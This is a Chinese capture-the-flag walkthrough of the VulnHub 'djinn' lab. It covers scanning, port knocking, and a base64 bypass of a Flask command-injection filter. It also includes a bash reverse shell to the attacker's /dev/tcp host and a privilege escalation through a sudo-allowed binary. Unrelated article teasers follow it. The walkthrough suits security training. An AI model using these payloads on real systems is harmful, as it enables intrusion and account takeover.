靶机测试djinn笔记

news2025/1/19 16:57:49

靶机地址

https://www.vulnhub.com/entry/djinn-1,397/

靶机测试

信息收集

nmap扫描

nmap -p- -A 192.168.1.106 -oA dj  

通过 nmap 扫描得到

21 端口 可以匿名访问

22 端口 ssh 但是被过滤了 1

337 是一个游戏端口

7331 是 python web

测试 1337 端口

访问端口

nc -vv 192.168.0.177 1337

这里得知需要计算1000次

编写python脚本

# coding:utf-8
import logging
import telnetlib
import time
import re


def main():
    try:
        tn = telnetlib.Telnet('192.168.1.106', port=1337)
    except:
        logging.warning("errr")
    time.sleep(0.5)
    loop = 1
    while loop < 1002:
        data = tn.read_very_eager().decode('ascii')
        print(data)
        res = re.search('(.*?)\s>', data).group(1)
        datas = str(calc(res)).strip()
        print(str(loop) + ":" + datas)
        loop = loop + 1
        tn.write(datas.encode('ascii') + b"\n")
        time.sleep(0.1)
    data = tn.read_very_eager().decode('ascii')
    return data


def calc(res):
    res_str = res.strip('(').strip(")").replace("'", "")
    muns = res_str.split(',')
    munber1 = muns[0].strip()
    orperator = muns[1].strip()
    munber2 = muns[2].strip()
    res = eval(munber1 + orperator + munber2)
    return res


print(main())

测试结果

得到数字 1356 6784 3409

暗语开启 ssh

1356,6784,3409 ssh 使用暗语过滤 knockd 开启

安装Knockd,打开SSH:

apt install knockd

ftp 信息获取

匿名访问获取信息
ftp 192.168.1.106

下载文件

查看内容

  • creds.txt 凭据

  • nitu:81299

  • game.txt oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize.

  • 翻译 哦,我忘了告诉你我在 1337 号港口为你准备了一个游戏。看看你能不能找到最后一关拿到奖品。

  • message.txt @nitish81299 I am going on holidays for few days, please take care of all the work. And don't mess up anything.

  • 翻译 @nitish81299 我要去度假几天,请照顾好所有的工作。别搞砸了。

测试 pythonweb

获取主页信息

发现是一个 WEB 主页

目录扫描

gobuster dir -u http://192.168.0.177:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t
100

命令执行漏洞

页面存在命令执行漏洞

http://192.168.1.106:7331/wish

信息会返回在 url 上和源码上。

测试其他语句

发现会被拦截

burpsuite 测试拦截字符

拦截 $ * . / : ?^ !" 这些字符

绕过命令执行漏洞

echo "cat /etc/passwd" | base64
Y2F0IC9ldGMvcGFzc3dkCg==
echo "Y2F0IC9ldGMvcGFzc3dkCg==" | base64 -d | bash

使用 base64 即可绕过

反弹 shell

bash -i >& /dev/tcp/192.168.1.53/9001 0>&1
编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTMvOTAwMSAwPiYxCg== 解密执行
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTMvOTAwMSAwPiYxCg==" | base64-d |bash

切换 python shell

python -c 'import pty;pty.spawn("/bin/bash")'

分析 pythonweb

import subprocess                                                                                                             
from flask import Flask, redirect, render_template, request, url_for                                                         
app = Flask(__name__)                                           
app.secret_key = "key"                                           
CREDS = "/home/nitish/.dev/creds.txt"                           
RCE = ["/", ".", "?", "*", "^", "$", "eval", ";"]
def validate(cmd):
    if CREDS in cmd and "cat" not in cmd:
        return True

    try:
        for i in RCE:
            for j in cmd:
                if i == j:
                    return False
        return True
    except Exception:
        return False


@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")


@app.route("/wish", methods=['POST', "GET"])
def wish():
    execute = request.form.get("cmd")
    if execute:
        if validate(execute):
            output = subprocess.Popen(execute, shell=True,
                                      stdout=subprocess.PIPE).stdout.read()
        else:
            output = "Wrong choice of words"

        return redirect(url_for("genie", name=output))
    else:
        return render_template('wish.html')


@app.route('/genie', methods=['GET', 'POST'])
def genie():
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = "It's not that hard"

    return render_template('genie.html', file=page)


if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True)

这是 python flask 框架的 app.py 文件。

cmd 有参数进来就会执行 validate(execute)

if CREDS in cmd and "cat" not in cmd: return True vilidate

函数将传入来的字符串进行条件判断,如果满足以下条件等于 true 返回并且不会这些下面语句。creds 是一个字符串。/home/nitish/.dev/creds.txt

cmd=more+/home/nitish/.dev/creds.txt

成功执行 得到 txt 内容。也可以直接打开在 shell 里执行

cat /home/nitish/.dev/creds.txt

同样也是得到 nitish:p4ssw0rdStr3r0n9

登录 nitish

su nitish

得到第一个 user.txt

sudo 查看当前用户特权

sudo -l
ls -la /usr/bin/genie

分析 genie 文件

genie -h
usage: genie [-h] [-g] [-p SHELL] [-e EXEC] wish

I know you've came to me bearing wishes in mind. So go ahead make your wishes.

positional arguments:
  wish                  Enter your wish

optional arguments:
  -h, --help            show this help message and exit
  -g, --god             pass the wish to god
  -p SHELL, --shell SHELL
                        Gives you shell
  -e EXEC, --exec EXEC  execute command

帮助文档告诉我们可以执行 shell 经过测试均不能执行。

man genie 发现一些隐藏描述

genie -cmd id

切换sh shell

获取 sam shell

sudo -u sam /usr/bin/genie -c id

查询 sam sudo 特权

发现可以不需要密码执行 root 用户下的/root/lago 文件

分析 lago 文件

这个文件 sam 用户无权限访问这个 lago 常用的分析方法无法使用。

pyc 文件

来到 sam 用户目录 /home/sam

nc 传送文件

nc -lp 9002 >1.pyc
nc 192.168.1.53 9002 <.pyc

pyc 反编译

uncompyle6 -o 1.py 1.pyc

反编译 成功后分析 1.py 文件

分析 1.py 文件

# uncompyle6 version 3.6.1
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.7.5 (default, Oct 27 2019, 15:43:29)
# [GCC 9.2.1 20191022]
# Embedded file name: /home/mzfr/scripts/exp.py
# Compiled at: 2019-11-07 04:05:18
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! ' def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: ' s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time' def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?' print '1 - Be naughty' print '2 - Guess the number' print '3 - Read some damn files' print '4 - Work' choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!' else:
print 'Do something better with your life'
if __name__ == '__main__':
main(options())

通过这份源码 可以判断与 root/lago 文件一样。

当 s 等于 num 会这些执行/bin/sh

获取 root 权限

得到 key

笑得甜的女人,将来的运气都不会太坏

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/161558.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

智慧工地安全帽智能识别检测 yolov5

智慧工地安全帽智能识别检测通过yolov5opencv深度学习技术&#xff0c;可自动对现场画面检测识别人员有没有戴安全帽。OpenCV基于C实现&#xff0c;同时提供python, Ruby, Matlab等语言的接口。OpenCV-Python是OpenCV的Python API&#xff0c;结合了OpenCV CAPI和Python语言的最…

【Spring(六)】彻底搞懂Spring的依赖注入

文章目录前言依赖注入setter注入构造器注入自动装配集合注入总结前言 在核心容器这一部分bean相关的操作&#xff0c;我们已经学完了&#xff0c;接下来我们就要进入到第二个大的模块&#xff0c;与我们的DI,也就是依赖注入相关知识的学习了&#xff0c;那我们先来学习第一个内…

ChatGPT!我是你的破壁人;比尔·盖茨不看好Web3与元宇宙;FIFA押中4届世界杯冠军;GitHub今日热榜 | ShowMeAI资讯日报

&#x1f440;日报合辑 | &#x1f3a1;AI应用与工具大全 | &#x1f514;公众号资料下载 | &#x1f369;韩信子 &#x1f3a1; 『GPTZero』用 ChatGPT 写论文糊弄老师&#xff1f;已经不灵了~ 语言生成模型的诞生与优化&#xff0c;给教育和学术界带来了不少困扰。继纽约教育…

前端工程化解决方案-Webpack编程

文章目录1. 前端工程化目前主流的前端工程化解决方案2.webpack2.1 主要供能2.2 webpack与webpack-cli的使用2.2.1 初始化项目2.2.2 安装2.2.3 配置2.2.3.1 webpack.config.js2.2.3.2 package.json2.2.3.3 打包构建2.2.3.4 项目中引入 dist/bundle.js2.3 动态部署2.3.1 webpack-…

微服务架构概述

微服务架构概述一、架构演变1.1 单体架构1.2 分布式架构1.3 微服务二、SpringCloud2.1 简介3.2 痛点三、SpringCloud Alibaba3.1 简介3.2 优点3.3 主要组件3.4 版本对应一、架构演变 1.1 单体架构 讲业务的所有功能集中在一个项目中开发&#xff0c;打成一个包部署。 优点&am…

SaaS架构实现理论(四)可伸缩多租户

目录1.伸缩性&#xff08;Scalable&#xff09;的概念2.应用服务器层的水平扩展2.1基于Session复制的水平扩展方式2.2基于Session Sticky的水平扩展方式2.3基于Cache的集中式Session实现水平扩展2.4三种水平扩展方式的比较3.数据库的水平扩展3.1数据库的垂直切分3.2数据库的读写…

ArcGIS基础实验操作100例--实验93插值模型的精度分析

本实验专栏参考自汤国安教授《地理信息系统基础实验操作100例》一书 实验平台&#xff1a;ArcGIS 10.6 实验数据&#xff1a;请访问实验1&#xff08;传送门&#xff09; 空间分析篇--实验93 插值模型的精度分析 目录 一、实验背景 二、实验数据 三、实验步骤 &#xff08;…

ESP-IDF:使用基本类型,指针,引用,指针的指针,指针的引用作为函数参数的几个例程

1.例程&#xff1a; /下面是使用基本类型&#xff0c;指针&#xff0c;引用&#xff0c;指针的指针&#xff0c;指针的引用作为函数参数的几个例程/ // 值拷贝 int add10(int a) { a 10; return a; } // 指针传参&#xff0c;是一种地址拷贝 void add101(int *a) { // int *…

(11)QWidget的使用(two)

目录 设置窗口图标和标题 设置窗口图标以及获取图标 设置窗口标题以及获取标题 窗口标题的特殊操作 设置窗口的状态 设置窗口的不透明度 设置窗口的状态 使用封装好的函数显示窗口 设置窗口标志 窗口标志简介 设置窗口图标和标题 设置窗口图标以及获取图标 void se…

Java在远程方法调用中运用反射机制

本案例将介绍反射机制在网络编程中的应用&#xff0c;实现如何在客户端通过远程方法调用服务器端的方法。 假定在服务器端有一个 HelloService 接口&#xff0c;该接口具有 getTime() 和 echo() 方法&#xff0c;具体代码如下&#xff1a; import java.util.Date; public int…

【C语言航路】第十一站:字符串、字符和内存函数

目录 一、字符串函数 1.strlen &#xff08;1&#xff09;strlen的库函数文档 &#xff08;2&#xff09;strlen的模拟实现 &#xff08;3&#xff09;strlen的注意事项 2.strcpy &#xff08;1&#xff09;strcpy的库函数文档 &#xff08;2&#xff09;strcpy的使用以…

如何使用机器学习进行图像识别|数据标注

什么是图像识别&#xff1f;图像识别是一种用于识别图像中的对象并将其分类为特定类别的机制&#xff0c;基于人类识别不同图像集中对象的方式。图像识别如何为人类工作&#xff1f;当我们看到一个物体或图像时&#xff0c;作为人类&#xff0c;我们能够立即准确地知道它是什么…

浅谈STL——适配器

一、适配器&#xff08;Adapters&#xff09; 它是一种设计模式&#xff0c;为STL中能够将一个类的接口转化为用户更加想要使用的接口&#xff0c;适配器就扮演者轴承、转换器的功能 就是一个wrapper的模式&#xff0c;将要修饰的接口进行二次包装&#xff0c;展露出可以更容…

紧急事故的流程管理

嵌套式职责分离 在事故处理中&#xff0c;让&#xff1a;每个人清楚自己的职责是非常重要的。有点反直觉的是&#xff0c;明嘶职费反而能够使每个人可以更独立自主地解决问题&#xff0c;因为他们不用怀疑和担心他们的同事都在干什么。 如果一个人目前要处理的事情大多了&…

[TPAMI 2022] 用深度神经网络解决欠定问题——考虑鲁棒性?

Solving Inverse Problems With Deep Neural Networks – Robustness Included?https://ieeexplore.ieee.org/abstract/document/9705105摘要在过去的五年中&#xff0c;深度学习方法已经成为解决各种反问题的最先进方法。在此类方法可以应用于安全关键领域之前&#xff0c;必…

2022年度总结和展望2023年

文章目录 前言 2022年的成就总结 2023年的行动目标 如何完成这些目标&#xff1f; 前言 从2018年更新CSDN第一篇的博文&#xff0c;我就和CSDN产生联系。当时想法很纯粹&#xff0c;就是将积累的知识写成文章&#xff0c;无论去到哪里都能查到&#xff0c;所以前面三年都是…

Python实现预测客户是否会购买房车险源码+数据集,基于伯努利朴素贝叶斯预测客户购买房车险源码,Python预测客户购买房车险

伯努利朴素贝叶斯预测客户购买房车险 根据2000年数据挑战赛保险公司的客户特征数据&#xff0c;预测客户是否会购买房车险。 使用伯努利朴素贝叶斯模型&#xff0c;我获得了更好的预测效果 完整代码下载地址&#xff1a;Python实现预测客户是否会购买房车险源码数据集 数据集…

中国化工发展的新态势

顺势而为的企业才可能有好的未来&#xff0c;在一年之初&#xff0c;回顾总结一下中国化工行业的发展态势&#xff0c;对企业认清形势&#xff0c;确定企业的行业发展方向和发展战略至关重要。 自2022年以来&#xff0c;中国快速增长的化工行业按收入计算一直是世界上最大的&am…

【Java、Redis】通过中心经纬度与半径获取范围内的结果集(类似附近的人)

文章目录需求解决方案什么是Redis GeoHashJava实现InitEquLongLatTask.javaControllerservicexml sql语句引用的pom依赖需求 通过百度地图的覆盖物功能&#xff0c;用户在页面上画圈选定某个区域&#xff0c;前端传输中心点经纬度与半径给后端&#xff0c;后端需要返回位置在圈…

表格存储 Tablestore 十年发展总结

作者&#xff1a;周赵锋 阿里云基础产品团队 ​表格存储Tablestore上线已有十年&#xff0c;随着业务规模变大&#xff0c;稳定性挑战也随之而来&#xff0c;需要不断优化架构来提升可用性。本文将为大家分享表格存储Tablestore在技术层面近年来的功能演进、技术架构演进以及稳…